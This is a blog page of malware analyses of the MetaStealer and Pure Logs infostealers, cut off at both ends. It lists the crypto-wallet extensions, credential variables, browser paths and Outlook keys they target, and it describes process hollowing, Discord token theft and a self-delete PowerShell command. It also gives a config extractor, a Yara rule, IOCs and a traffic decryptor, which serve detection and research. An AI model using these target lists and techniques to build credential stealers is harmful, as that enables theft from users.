ffnbelfdoeiohenkjibnmadjiehjhajb|YoroiWallet\r\nibnejdfjmmkpcnlpebklmnkoeoihofec|Tronlink\r\njbdaocneiiinmjbjlgalhcelgbejmnid|NiftyWallet\r\nnkbihfbeogaeaoehlefnkodbefgpgknn|Metamask\r\nafbcbjpbpfadlkmhmclhkeeodmamcflc|MathWallet\r\nhnfanknocfeofbddgcijnmhnfnkdnaad|Coinbase\r\nfhbohimaelbohpjbbldcngcnapndodjp|BinanceChain\r\nodbfpeeihdkbihmopkbjmoonfanlbfcl|BraveWallet\r\nhpglfhgfnhbgpjdenjgmdgoeiappafln|GuardaWallet\r\nblnieiiffboillknjnepogjhkgnoapac|EqualWallet\r\ncjelfplplebdjjenllpjcblmjkfcffne|JaxxxLiberty\r\nfihkakfobkmkjojpchpfgcmhfjnmnfpi|BitAppWallet\r\nkncchdigobghenbbaddojjnnaogfppfj|iWallet\r\namkmjjmmflddogmhpjloimipbofnfjih|Wombat\r\nfhilaheimglignddkjgofkcbgekhenbh|AtomicWallet\r\nnlbmnnijcnlegkjjpcfjclmcfggfefdm|MewCx\r\nnanjmdknhkinifnkgdcggcfnhdaammmj|GuildWallet\r\nnkddgncdjgjfcddamfgcmfnlhccnimig|SaturnWallet\r\nfnjhmkhhmkbjkkabndcnnogagogbneec|RoninWallet\r\naiifbnbfobpmeekipheeijimdpnlpgpp|TerraStation\r\nfnnegphlobjdpkhecapkijjdkgcjhkib|HarmonyWallet\r\naeachknmefphepccionboohckonoeemg|Coin98Wallet\r\ncgeeodpfagjceefieflmdfphplkenlfk|TonCrystal\r\npdadjkfkgcafgbceimcpbkalnfnepbnk|KardiaChain\r\nbfnaelmomeimhlpmgjnjophhpkkoljpa|Phantom\r\nfhilaheimglignddkjgofkcbgekhenbh|Oxygen\r\nmgffkfbidihjpoaomajlbgchddlicgpn|PaliWallet\r\naodkkagnadcbobfpggfnjeongemjbjca|BoltX\r\nkpfopkelmapcoipemfendmdcghnegimn|LiqualityWallet\r\nhmeobnfnfcmdkdcmlblgagmfpfboieaf|XdefiWallet\r\nlpfcbjknijpeeillifnkikgncikgfhdo|NamiWallet\r\ndngmlblcodfobpdpecaadgfbcggfjfnm|MaiarDeFiWallet\r\nejbalbakoplchlghecdalmeeeajnimhm|MetaMask Edge\r\nmlbafbjadjidklbhgopoamemfibcpdfi|GoblinWallet
  • MSValue15 – stores the environmental variables for tokens and keys:
"AWS_ACCESS_KEY_ID"
"AWS_SECRET_ACCESS_KEY"
"AMAZON_AWS_ACCESS_KEY_ID"
"AMAZON_AWS_SECRET_ACCESS_KEY"
"ALGOLIA_API_KEY"
"AZURE_CLIENT_ID"
"AZURE_CLIENT_SECRET"
"AZURE_USERNAME"
"AZURE_PASSWORD"
"MSI_ENDPOINT"
"MSI_SECRET"
"binance_api"
"binance_secret"
"BITTREX_API_KEY"
"BITTREX_API_SECRET"
"CF_PASSWORD"
"CF_USERNAME"
"CODECLIMATE_REPO_TOKEN"
"COVERALLS_REPO_TOKEN"
"CIRCLE_TOKEN"
"DIGITALOCEAN_ACCESS_TOKEN"
"DOCKER_EMAIL"
"DOCKER_PASSWORD"
"DOCKER_USERNAME"
"DOCKERHUB_PASSWORD"
"FACEBOOK_APP_ID"
"FACEBOOK_APP_SECRET"
"FACEBOOK_ACCESS_TOKEN"
"FIREBASE_TOKEN"
"FOSSA_API_KEY"
"GH_TOKEN"
"GH_ENTERPRISE_TOKEN"
"CI_DEPLOY_PASSWORD"
"CI_DEPLOY_USER"
"GOOGLE_APPLICATION_CREDENTIALS"
"GOOGLE_API_KEY"
"CI_DEPLOY_USER"
"CI_DEPLOY_PASSWORD"
"GITLAB_USER_LOGIN"
"CI_JOB_JWT"
"CI_JOB_JWT_V2"
"CI_JOB_TOKEN"
"HEROKU_API_KEY"
"HEROKU_API_USER"
"MAILGUN_API_KEY"
"MCLI_PRIVATE_API_KEY"
"MCLI_PUBLIC_API_KEY"
"NGROK_TOKEN"
"NGROK_AUTH_TOKEN"
"NPM_AUTH_TOKEN"
"OKTA_CLIENT_ORGURL"
"OKTA_CLIENT_TOKEN"
"OKTA_OAUTH2_CLIENTSECRET"
"OKTA_OAUTH2_CLIENTID"
"OKTA_AUTHN_GROUPID"
"OS_USERNAME"
"OS_PASSWORD"
"PERCY_TOKEN"
"SAUCE_ACCESS_KEY"
"SAUCE_USERNAME"
"SENTRY_AUTH_TOKEN"
"SLACK_TOKEN"
"square_access_token"
"square_oauth_secret"
"STRIPE_API_KEY"
"STRIPE_DEVICE_NAME"
"SURGE_TOKEN"
"SURGE_LOGIN"
"TWILIO_ACCOUNT_SID"
"CONSUMER_KEY"
"CONSUMER_SECRET"
"TRAVIS_SUDO"
"TRAVIS_OS_NAME"
"TRAVIS_SECURE_ENV_VARS"
"VAULT_TOKEN"
"VAULT_CLIENT_KEY"
"TOKEN"
"VULTR_ACCESS"
"VULTR_SECRET"

Let’s look at the Redline sample where it stores the configuration from the sample I analyzed at the end of 2022 and MetaStealer. We can see that MetaStealer is using MSObject* instead of Entity* objects as well as MSValue* instead of Id*. MetaStealer also uses a different type of collections. Redline Stealer uses *System.Collections.Generic.IEnumerable {Entity16[]}* , which represents a sequence of items of type *Entity16*, and the data shown is an array of *Entity16* objects. Metastealer uses *System.Collections.Generic.List*, which represents a dynamic list of strings.

MetaRedline.drawio.png

Next, MetaStealer proceeds with decrypting the binary ID, which is the same XOR algorithm described earlier for retrieving the IP address. Further down, I stumbled across the code that is responsible for extracting the data from the byte array and performing the string replacement. Thanks @cod3nym for pointing out that it’s part of ConfuserEx default constant encryption runtime.

confuserex.jpg

Some of the retrieved strings are then getting replaced:

str_replace 1.jpg

The stealer retrieves the memory with the WMI query SELECT * FROM Win32_OperatingSystem. Next, it retrieves the Windows version via the registry:

winversion.jpg

Interestingly enough, the stealer checks if the directory at the AppData\Local\ElevatedDiagnostics path exists. If the directory does not exist, it creates the directory. If the directory exists, it then checks if it was created more than 14 days ago (by comparing the directory’s creation time to the current time minus 14 days). If the directory is older than 14 days, it deletes and recreates it. This stealer might be trying to clean up old diagnostic reports to hide any traces of execution.

The code below is responsible for screenshot capture.

  • GetVirtualDisplaySize method retrieves the size of the virtual display on a system, which encompasses all the screen area across multiple monitors
  • GetImageBase method is designed to capture an image of the virtual display. First, it retrieves the virtual display size using the GetVirtualDisplaySize method. It then creates a new Bitmap object with the dimensions of the virtual display.
  • ConvertToBytes method is used to convert an Image object to a byte array, presumably for storage or transmission. If the provided image is not null, it saves the image into a MemoryStream in PNG format. The contents of the memory stream are then converted to a byte array.
get_Screenshot.jpg

MetaStealer uses the WMI query SELECT * FROM Win32_DiskDrive to retrieve information (Serial number) of the physical disk drives.

The code below computes an MD5 hash based on the user’s domain name, username, and serial number retrieved from the query above. The GetHexString method is used to convert bytes into a hexadecimal representation. It processes each byte in the byte array, converting every 4 bits into a hexadecimal character and adds hyphens after every 2 characters (equivalent to every 4 hexadecimal digits) in the generated hash) and then removes them (for example 4E6B8D28B175A2BE89124A80E77753C9). The result is stored in MSValue1 within MSObject7. This will be the HWID value.

The stealer proceeds with enumerating the infected system for FileZilla (C:\Users\username\AppData\Roaming\FileZilla\recentservers.xml). Next, it enumerates AV products using the following WMI queries:

  • SELECT displayName FROM AntiVirusProduct
  • SELECT displayName FROM AntiSpyWareProduct
  • SELECT displayName FROM FirewallProduct

The stealer then proceeds with enumerating the directories for VPN apps such as NordVPN, OpenVPN Connect, ProtonVPN within FileScannerRule class. It retrieves a list of FileInfo objects by scanning a directory specified by msobject.MSValue1 using the EnumerateFiles method. The SearchOption parameter determines whether the search is recursive (SearchOption.AllDirectories) or limited to the top directory only (SearchOption.TopDirectoryOnly).

The stealer retrieves information about running processes via the query SELECT * FROM Win32_Process Where SessionId=’“ as well as the command line for each process:

running_proc.jpg

Search method is responsible for searching for files within certain directories (Windows, Program Files, Program Files (x86)). The BaseDirectory is where the search begins, for example, “C:\Users\username\AppData\Local\Battle.net”.

GetBrowser method gets the information on the installed browsers on the infected machine. 1. It attempts to access the Windows Registry to retrieve information about web browsers installed on the system. It opens a specific Registry key path under HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\StartMenuInternet This key is used to store information about web browsers on 64-bit Windows systems. If the first attempt to open the key is unsuccessful, it falls back to opening a similar key path without the “WOW6432Node” part under HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet (32-bit Windows systems). After successfully opening the appropriate Registry key, it retrieves the names of its subkeys (which represent different web browsers) using the GetSubKeyNames() method. Within the loop of iterating through the list of browsers, it creates an instance of an object named MSObject4, which is used to store information about each web browser. The stealer opens a subkey under the current browser’s key path, which corresponds to the “shell\open\command” key, to retrieve the command line associated with launching the browser. This command line is stored in msobject.MSValue3. It then checks if msobject.MSValue3 is not null and then retrieves the file version of the browser executable using FileVersionInfo.GetVersionInfo(msobject.MSValue3).FileVersion.

getbrowsers.jpg

The processor information is retrieved via the query SELECT * FROM Win32_Processor”* within *GetProcessors method.

The list of installed programs is retrieved within ListofPrograms method by accessing the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall.

The basic information gathered such as the timezone, the build ID, stealer name, username, Windows version, screen size, MD5 hash (based on the user’s domain name, username, and serial number), language settings are stored under results variable and the stealer configuration is stored under settings variable.

Here is the snippet of the C2 communication with MetaStealer:

traffic1.png

Redline for comparison:

redline_traffic.png

So how do you differentiate between two stealers if they are very similar? That’s right, the easiest way is probably based on traffic. The traffic for MetaStealer would slightly be different than for Redline Stealer. MetaStealer would have the indicator hxxp://tempuri.org/Contract/MSValue1 as well as MSValue1, MSValue2, etc., whereas Redline Stealer will have hxxp://tempuri.org/Entity/Id1.net as well as Id1, Id2, etc.

As for the binary, we can also look for Id, MSValue, Entity, MSObject patterns like in the screenshot below:

comparison.png

View of the Settings panel: panel_settings.jpg

The Domain Detector settings are used to sort the logs out based on specific domains, the captured logs configured will be displayed as PDD (if the domain is found in credentials), CDD (if the domain is found in cookies) in the Logs panel as well as generated in the Logs file as DomainsDetected.txt. The Misc section allows the user to clone the certificate of the binary and file information and apply it to the stealer build as well as to increase the file size and apply VirusTotal leak monitoring (to monitor if the file is submitted to VT).

misc_panel.jpg

Black Lists section allows the user to blacklist countries (it’s worth noting that. compared to Redline, MetaStealer Stealer does not have an anti-CIS (Commonwealth of Independent States) feature) that prevents the stealer from running in CIS countries), IPs, HWIDs and build IDs.

panel_binder.jpg

Binder/Crypt section allows the user to bind/merge binaries and obfuscate them with ConfuserEx. The user then can launch the merged binary from the disk or directly in memory with process hollowing using the following APIs:

  • CreateProcessInternalW
  • ZwUnmapViewOfsection
  • ZwaAllocateVirtualMemory
  • ZwWriteVirtualMemory
  • ZwGetThreadContext
  • LocalFree
  • ZwSetContexThread
  • ZwResumeThread
  • ZwClose

We can test run the Yara rule that I provided at the end of this article for MetaStealer relying specifically on strings that are unique to MetaStealer on unpac.me. After the successful scan, we see 216 matches and 138 of them are detected as “Redline”

yara_scan_Results.jpg

Configuration Extractor

You can access the configuration extractor here

# Author: RussianPanda
import clr
import re
import base64

  
DNLIB_PATH = 'path_to_dnlib\\dnlib.dll'
clr.AddReference(DNLIB_PATH)

import dnlib
from dnlib.DotNet import *
from dnlib.DotNet.Emit import OpCodes

TARGET_PATH = 'path_to_binary'
module = dnlib.DotNet.ModuleDefMD.Load(TARGET_PATH)

def xor_data(data, key):
    return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])

def extract_strings_from_dotnet(target_path):
    module = ModuleDefMD.Load(target_path)
    hardcoded_strings = []
    for t in module.Types:
        for m in t.Methods:
            if m.HasBody:
                for instr in m.Body.Instructions:
                    if instr.OpCode == OpCodes.Ldstr:
                        hardcoded_strings.append(instr.Operand)
    return hardcoded_strings

extracted_strings = extract_strings_from_dotnet(TARGET_PATH)

b64 = r'^[A-Za-z0-9+/]+={0,2}$'
b64_strings = []
last_b64_index = -1

for i, string in enumerate(extracted_strings):
    if re.match(b64, string) and len(string) % 4 == 0 and len(string) > 20:
        b64_strings.append(string)
        last_b64_index = i 

xor_key_match = None
if last_b64_index != -1 and last_b64_index + 2 < len(extracted_strings):
    xor_key_match = extracted_strings[last_b64_index + 2]

for i, string in enumerate(b64_strings):
    if i == 0:
        print("Authentication token:", string)
    else:
        break

xor_key = None

if last_b64_index is not None and last_b64_index + 1 < len(extracted_strings):
    potential_key = extracted_strings[last_b64_index + 1]
    if potential_key:
        xor_key = potential_key.encode()
    else:
        xor_key = xor_key_match.encode() if xor_key_match else None

if xor_key:
    for string in b64_strings[1:]:  
        dec_Data = base64.b64decode(string)
        xor_result = xor_data(dec_Data, xor_key)
        try:
            final_result = base64.b64decode(xor_result)
            string_result = final_result.decode('utf-8')
            print("Decrypted String:", string_result)

        except Exception:
            pass

if len(b64_strings) < 3:
    dec_data_another = None
    xor_key_another = None

    if last_b64_index != -1 and last_b64_index + 1 < len(extracted_strings):
        dec_data_another = extracted_strings[last_b64_index + 1]
  
    if last_b64_index != -1 and last_b64_index + 2 < len(extracted_strings):
        xor_key_another = extracted_strings[last_b64_index + 3]

    if xor_key_another:
        xor_key = xor_key_another.encode()

        if dec_data_another:
            try:
                dec_Data = base64.b64decode(dec_data_another)
                xor_result = xor_data(dec_Data, xor_key)
                final_result = base64.b64decode(xor_result)
                string_result = final_result.decode('utf-8')
                print("Decrypted String:", string_result)
            except Exception as e:
                print(f"Error in decryption: {e}")

        for string in b64_strings:
            try:
                dec_Data = base64.b64decode(string)
                xor_result = xor_data(dec_Data, xor_key)
                final_result = base64.b64decode(xor_result)
                string_result = final_result.decode('utf-8')
                print("Decrypted String:", string_result)
            except Exception as e:
                continue

Yara Rule

import "pe"
rule MetaStealer {

	meta:
		author = "RussianPanda"
		decription = "Detects MetaStealer"
		date = "11/16/2023"

	strings:
		$s1 = "FileScannerRule"
		$s2 = "MSObject"
		$s3 = "MSValue"
		$s4 = "GetBrowsers"
		$s5 = "Biohazard"
			
	condition:
		4 of ($s*) 
		and pe.imports("mscoree.dll")
}

Indicators of Compromise

NameIndicators
MetaStealer Sample78a04c5520cd25d9728becca1f032348b2432a3a803c6fed8b68a8ed8cca426f
MetaStealer Sample1ab93533bff654a20fd069d327ac4185620beb243135640c2213571c8902e325
MetaStealer Sample5f690cddc7610b8d4aeb85b82979f326373674f9f4032ee214a65758f4e479be
MetaStealer Sample65f76d89860101aa45eb3913044bd6c36c0639829f863a85f79b3294c1f4d7bb
MetaStealer Samplec2f2293ce2805f53ec80a5f9477dbb44af1bd403132450f8ea421a742e948494
MetaStealer Sample8502a5cbc33a50d5c38aaa5d82cd2dbf69deb80d4da6c73b2eee7a8cb26c2f71
MetaStealer Sample727d823f0407659f3eb0c017e25023784a249d76c9e95a288b923abb4b2fe0dd
MetaStealer Sample941cc18b46dd5240f03d438ff17f19d946a8037fbe765ae4bc35ffea280df976
MetaStealer Sample1a83b8555b2661726629b797758861727300d2ce95fe20279dec098011de1fff
MetaStealer Samplec90a887fc1013ea0b90522fa1f146b0b33d116763afb69ef260eb51b93cf8f46
MetaStealer Sample19034212e12ba3c5087a21641121a70f9067a5621e5d03761e91aca63d20d993
MetaStealer Sample2db8d58e51ddb3c04ff552ecc015de1297dc03a17ec7c2aed079ed476691c4aa
MetaStealer Samplede01e17676ce51e715c6fc116440c405ca4950392946a3aa3e19e28346239abb
Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Pure Logs Stealer Fails to Impress

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Case Study

Pure Logs Stealer first appeared on hacking forums at the end of October 2022. The stealer is developed by a malware developer going under the alias PureCoder.

ads.jpg
ads2.jpg

The malware developer is also behind in developing the products shown above, such as Pure Miner, Pure Crypter, Pure hVNC, Blue Loader, and other products, including HWID reset, Discord DM Worm, and Pure Clipper.

The malware developer periodically pushes updates to their products. The

tg_update.jpg

The view of the File Grabber panel:

file_grabbel_panel.jpg

The view of the File Builder panel:

file_builder_panel.jpg

The stealer can be purchased automatically via the Telegram Bot without interacting directly with the malware developer/seller.

Before diving into the technical part, I want to thank cod3nym for helping with the crypter and getting additional stealer samples.

Technical Analysis

Pure Logs Stealer comes crypted using their own Pure Crypter product. The stealer allegedly has antiVM, self-delete, persistence, file grabber, and file loader features, but the features currently do not work as expected within the stealer. The self-delete feature removes the stealer payload via PowerShell command **powershell Start-Sleep -Seconds 10; Remove-Item -Path ’“”‘ -Force”**.

The persistence is added via Registry Run Keys (T1547.001).

I will not go through the layers of unpacking and just go straight to the core payload, which is our Pure Logs stealer. The stealer is 64-bit and is slightly over 2MB in size. It is topped with Eazfuscator.NET, which obviously is a .NET obfuscator, as shown in the image below.

easfuscator_obf.jpg

The stealer creates the folder under %TEMP%\Costura\1485B29524EF63EB83DF771D39CCA767\64** and drops the file **sqlite.interop.dll that is one of the dependencies for the stealer, likely facilitating access to the browser data.

The Main method within the PlgCore class loads the C2 address, and build ID (the default build ID is Default) as one of the arguments from the crypter, the other one is the value that will be used along with MD5 to generate the 3DES key for data encryption, but we will through that later in the article.

The stealer gets the host information, including the version of the OS, via WMI, specifically SELECT * FROM win32_operatingsystem statement. If neither 32-bit nor 64-bit OS systems cannot be determined, the OS is marked as “unknown”, the same goes for the username, machine name, antivirus products, the working directory (the path from where the stealer was launched), etc., enumeration.

sysenum_unk.jpg

It gets BIOS information via Win32_BaseBoard. ProcessorId and CPU information via Win32_Processor. The ProcessorId and CPU information are then used to generate an MD5 hash, which will be the HWID marker in the stealer’s log file for the infected machine.

The username and the HWID are separated by an underscore and displayed in the panel in the format “username_hwid”, as shown below.

logs.png

Next, the stealer splits at the pipe the gathered information via SELECT * FROM win32_operatingsystem , specifically under the value Name, and likely grab only the Windows Version value to parse it to the stealer’s log file.

The query for antivirus products is performed via Select * from AntivirusProduct statement.

The method below captures a screenshot of the entire primary display screen of the infected host and converts it into a JPEG image format, returning the image as a byte array.

screenshot_capture.jpg

The method below gets the content of the clipboard.

clipboard.jpg

The GPU information is accessed via Win32_VideoController under the Name value. The RAM value is accessed via Win32_ComputerSystem under the TotalPhysicalMemory value.

The method below is responsible for getting the screen size. It gets the dimensions of the display screen of the computer using Screen.GetBounds(Point.Empty)

get_screen_size.jpg

The list of the cryptowallet extensions to be enumerated and collected by the stealer:

{
		{
			"ibnejdfjmmkpcnlpebklmnkoeoihofec",
			"TronLink"
		},
		{
			"nkbihfbeogaeaoehlefnkodbefgpgknn",
			"MetaMask"
		},
		{
			"fhbohimaelbohpjbbldcngcnapndodjp",
			"Binance Chain Wallet"
		},
		{
			"ffnbelfdoeiohenkjibnmadjiehjhajb",
			"Yoroi"
		},
		{
			"cjelfplplebdjjenllpjcblmjkfcffne",
			"Jaxx Liberty"
		},
		{
			"fihkakfobkmkjojpchpfgcmhfjnmnfpi",
			"BitApp Wallet"
		},
		{
			"kncchdigobghenbbaddojjnnaogfppfj",
			"iWallet"
		},
		{
			"aiifbnbfobpmeekipheeijimdpnlpgpp",
			"Terra Station"
		},
		{
			"ijmpgkjfkbfhoebgogflfebnmejmfbml",
			"BitClip"
		},
		{
			"blnieiiffboillknjnepogjhkgnoapac",
			"EQUAL Wallet"
		},
		{
			"amkmjjmmflddogmhpjloimipbofnfjih",
			"Wombat"
		},
		{
			"jbdaocneiiinmjbjlgalhcelgbejmnid",
			"Nifty Wallet"
		},
		{
			"afbcbjpbpfadlkmhmclhkeeodmamcflc",
			"Math Wallet"
		},
		{
			"hpglfhgfnhbgpjdenjgmdgoeiappafln",
			"Guarda"
		},
		{
			"aeachknmefphepccionboohckonoeemg",
			"Coin98 Wallet"
		},
		{
			"imloifkgjagghnncjkhggdhalmcnfklk",
			"Trezor Password Manager"
		},
		{
			"oeljdldpnmdbchonielidgobddffflal",
			"EOS Authenticator"
		},
		{
			"gaedmjdfmmahhbjefcbgaolhhanlaolb",
			"Authy"
		},
		{
			"ilgcnhelpchnceeipipijaljkblbcobl",
			"GAuth Authenticator"
		},
		{
			"bhghoamapcdpbohphigoooaddinpkbai",
			"Authenticator"
		},
		{
			"mnfifefkajgofkcjkemidiaecocnkjeh",
			"TezBox"
		},
		{
			"dkdedlpgdmmkkfjabffeganieamfklkm",
			"Cyano Wallet"
		},
		{
			"aholpfdialjgjfhomihkjbmgjidlcdno",
			"Exodus Web3"
		},
		{
			"jiidiaalihmmhddjgbnbgdfflelocpak",
			"BitKeep"
		},
		{
			"hnfanknocfeofbddgcijnmhnfnkdnaad",
			"Coinbase Wallet"
		},
		{
			"egjidjbpglichdcondbcbdnbeeppgdph",
			"Trust Wallet"
		},
		{
			"hmeobnfnfcmdkdcmlblgagmfpfboieaf",
			"XDEFI Wallet"
		},
		{
			"bfnaelmomeimhlpmgjnjophhpkkoljpa",
			"Phantom"
		},
		{
			"fcckkdbjnoikooededlapcalpionmalo",
			"MOBOX WALLET"
		},
		{
			"bocpokimicclpaiekenaeelehdjllofo",
			"XDCPay"
		},
		{
			"flpiciilemghbmfalicajoolhkkenfel",
			"ICONex"
		},
		{
			"hfljlochmlccoobkbcgpmkpjagogcgpk",
			"Solana Wallet"
		},
		{
			"cmndjbecilbocjfkibfbifhngkdmjgog",
			"Swash"
		},
		{
			"cjmkndjhnagcfbpiemnkdpomccnjblmj",
			"Finnie"
		},
		{
			"dmkamcknogkgcdfhhbddcghachkejeap",
			"Keplr"
		},
		{
			"kpfopkelmapcoipemfendmdcghnegimn",
			"Liquality Wallet"
		},
		{
			"hgmoaheomcjnaheggkfafnjilfcefbmo",
			"Rabet"
		},
		{
			"fnjhmkhhmkbjkkabndcnnogagogbneec",
			"Ronin Wallet"
		},
		{
			"klnaejjgbibmhlephnhpmaofohgkpgkd",
			"ZilPay"
		},
		{
			"ejbalbakoplchlghecdalmeeeajnimhm",
			"MetaMask"
		},
		{
			"ghocjofkdpicneaokfekohclmkfmepbp",
			"Exodus Web3"
		},
		{
			"heaomjafhiehddpnmncmhhpjaloainkn",
			"Trust Wallet"
		},
		{
			"hkkpjehhcnhgefhbdcgfkeegglpjchdc",
			"Braavos Smart Wallet"
		},
		{
			"akoiaibnepcedcplijmiamnaigbepmcb",
			"Yoroi"
		},
		{
			"djclckkglechooblngghdinmeemkbgci",
			"MetaMask"
		},
		{
			"acdamagkdfmpkclpoglgnbddngblgibo",
			"Guarda Wallet"
		},
		{
			"okejhknhopdbemmfefjglkdfdhpfmflg",
			"BitKeep"
		},
		{
			"mijjdbgpgbflkaooedaemnlciddmamai",
			"Waves Keeper"
		}

List of browser extensions to be enumerated and collected:

		{
			"Chromium\\User Data\\",
			"Chromium"
		},
		{
			"Google\\Chrome\\User Data\\",
			"Chrome"
		},
		{
			"Opera Software\\Opera GX Stable\\",
			"Opera GX"
		},
		{
			"Opera Software\\Opera Stable\\",
			"Opera"
		},
		{
			"Google(x86)\\Chrome\\User Data\\",
			"Chrome"
		},
		{
			"BraveSoftware\\Brave-Browser\\User Data\\",
			"Brave"
		},
		{
			"Microsoft\\Edge\\User Data\\",
			"Edge"
		},
		{
			"Tencent\\QQBrowser\\User Data\\",
			"QQBrowser"
		},
		{
			"MapleStudio\\ChromePlus\\User Data\\",
			"ChromePlus"
		},
		{
			"Iridium\\User Data\\",
			"Iridium"
		},
		{
			"7Star\\7Star\\User Data\\",
			"7Star"
		},
		{
			"CentBrowser\\User Data\\",
			"CentBrowser"
		},
		{
			"Chedot\\User Data\\",
			"Chedot"
		},
		{
			"Vivaldi\\User Data\\",
			"Vivaldi"
		},
		{
			"Kometa\\User Data\\",
			"Kometa"
		},
		{
			"Elements Browser\\User Data\\",
			"Elements"
		},
		{
			"Epic Privacy Browser\\User Data\\",
			"Epic Privacy"
		},
		{
			"uCozMedia\\Uran\\User Data\\",
			"Uran"
		},
		{
			"Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer\\",
			"Sleipnir5"
		},
		{
			"CatalinaGroup\\Citrio\\User Data\\",
			"Citrio"
		},
		{
			"Coowon\\Coowon\\User Data\\",
			"Coowon"
		},
		{
			"liebao\\User Data\\",
			"liebao"
		},
		{
			"QIP Surf\\User Data\\",
			"QIP Surf"
		},
		{
			"Orbitum\\User Data\\",
			"Orbitum"
		},
		{
			"Comodo\\Dragon\\User Data\\",
			"Dragon"
		},
		{
			"Amigo\\User\\User Data\\",
			"Amigo"
		},
		{
			"Torch\\User Data\\",
			"Torch"
		},
		{
			"Yandex\\YandexBrowser\\User Data\\",
			"Yandex"
		},
		{
			"Comodo\\User Data\\",
			"Comodo"
		},
		{
			"360Browser\\Browser\\User Data\\",
			"360Browser"
		},
		{
			"Maxthon3\\User Data\\",
			"Maxthon3"
		},
		{
			"K-Melon\\User Data\\",
			"K-Melon"
		},
		{
			"Sputnik\\Sputnik\\User Data\\",
			"Sputnik"
		},
		{
			"Nichrome\\User Data\\",
			"Nichrome"
		},
		{
			"CocCoc\\Browser\\User Data\\",
			"CocCoc"
		},
		{
			"Uran\\User Data\\",
			"Uran"
		},
		{
			"Chromodo\\User Data\\",
			"Chromodo"
		},
		{
			"Mail.Ru\\Atom\\User Data\\",
			"Atom"
		}
	};

Some of the data collected from Chromium-based browsers and the mention of encrypted_mnemonic is shown in the image below. encrypted_mnemonic most likely stores a securely encrypted version of a mnemonic seed phrase, which is essential for accessing or recovering cryptowallets.

data_read.jpg

For Gecko-based applications such as:

  • Mozilla\Firefox
  • Waterfox
  • K-Meleon
  • Thunderbird
  • Comodo\IceDragon
  • 8pecxstudios\Cyberfox
  • NETGATE Technologies\BlackHaw
  • Moonchild Productions\Pale Moon

The stealer uses specific queries, for example, “SELECT * FROM moz_bookmarks” , the query that interacts with the SQLite database used by Mozilla Firefox for storing user bookmarks. For Gecko-based applications, the stealer accesses file logins.json, which Mozilla Firefox uses to store saved login information, including usernames and passwords for websites, as shown below.

login_json.jpg

The method below is responsible for extracting, processing, and decrypting credential information from specific registry paths related to Outlook profiles. The regex patterns are used to validate server names and email addresses.

email_collection.jpg

The following Outlook registry paths are enumerated:

  • Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
  • Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
  • Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
  • Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
  • Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
  • Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
  • Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
  • Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676

The snippet below is the method responsible for grabbing Discord data. The method iterates through directories associated with different Discord builds (discord, discordcanary, discordptb).

  • It searches for directories containing local storage data (specifically in the leveldb folder).
  • The method calls \uE002 to extract certain data from the local storage files (ldb, log, sqlite)
  • If any data is found, it attempts to make web requests to Discord API endpoints using these tokens. The regular expressions in the image below is created to match patterns that resemble Discord authentication tokens.
discord_grabber.jpg

Funny fact: all Discord tokens start with dqw4w9wgxcq, let’s not get rickrolled …

Interestingly enough, Pure Logs Stealer also collects Windows product key and stores it under a separate log file named App_Windows Serial Key.txt. It accesses the key via the registry SOFTWARE\Microsoft\Windows NT\CurrentVersion under the value DigitalProductId.

I renamed each method so it is easy to visualize what type of data the stealer collects:

data_exf.jpg

As you can see from the above image, the most current stealer version is v3.1.3, and some additional sensitive data is collected from the following applications:

  • FileZilla
  • WinSCP (collects username, and passwords)
  • Foxmail
  • Telegram
  • Pidgin
  • Signal
  • InternetDownloadManager (IDM) (collects email addresses, first name, last name and serial number)
  • OBS Studio (collects profiles data)
  • Ngrok (collects ngrok.yml)
  • OpenVPN
  • ProtonVPN

I will leave it to you to explore what files it collects from some of the applications mentioned above.

The example of the logs folder is shown below:

logs_example.jpg

It is worth noting that after successfully executing, the stealer creates a registry subkey under HKU:\Software with the HWID value.

C2 Communication

The stealer uses a Socket for TCP/IP communication. It sets up a TCP/IP socket and attempts to connect to a server, and if the connection is successful, it begins receiving data. It continuously tries to connect, with a 5-second delay between attempts, in case of initial failure. The default port for communication is 7702, but that can be changed.

Before sending the actual data to C2, it sends the data size as shown below.

send_data_size1.jpg

The exfiltrated data is sent at once instead of in separate parts, which impacts the successful infection. The attacker will not receive any data if the communication is interrupted at a certain point. It is worth mentioning that stealers such as Raccoon Stealer send the data in parts to the C2 server, so in case of network interruption, at least some data is exfiltrated.

As it was briefly mentioned before, Pure Logs Stealer uses 3DES for data encryption that is sent over to C2. The 3DES key is derived from the value supplied as one of the parameters along with the C2 IP address in the stealer payload.

send_data.jpg

The Python implementation to decrypt the traffic:

# Author: RussianPanda

import gzip
import binascii
from Crypto.Cipher import DES3
from Crypto.Hash import MD5
from Crypto.Util.Padding import unpad

# Decrypt data using 3DES with MD5 hash of a key string

def decrypt_3des(encrypted_data_hex, key_string):
    encrypted_data = binascii.unhexlify(encrypted_data_hex)
    md5_hash = MD5.new()
    md5_hash.update(key_string.encode('utf-8'))
    key = md5_hash.digest()
    cipher = DES3.new(key, DES3.MODE_ECB)

  
    # Decrypt the data
    decrypted_data = cipher.decrypt(encrypted_data)
    decrypted_data_unpadded = unpad(decrypted_data, DES3.block_size)
    return decrypted_data_unpadded

def decompress_gzip(data):
    data_without_length = data[4:]
    decompressed_data = gzip.decompress(data_without_length)
    return decompressed_data
    
encrypted_data_hex = ""

# Key string used for encryption
key_string = ""

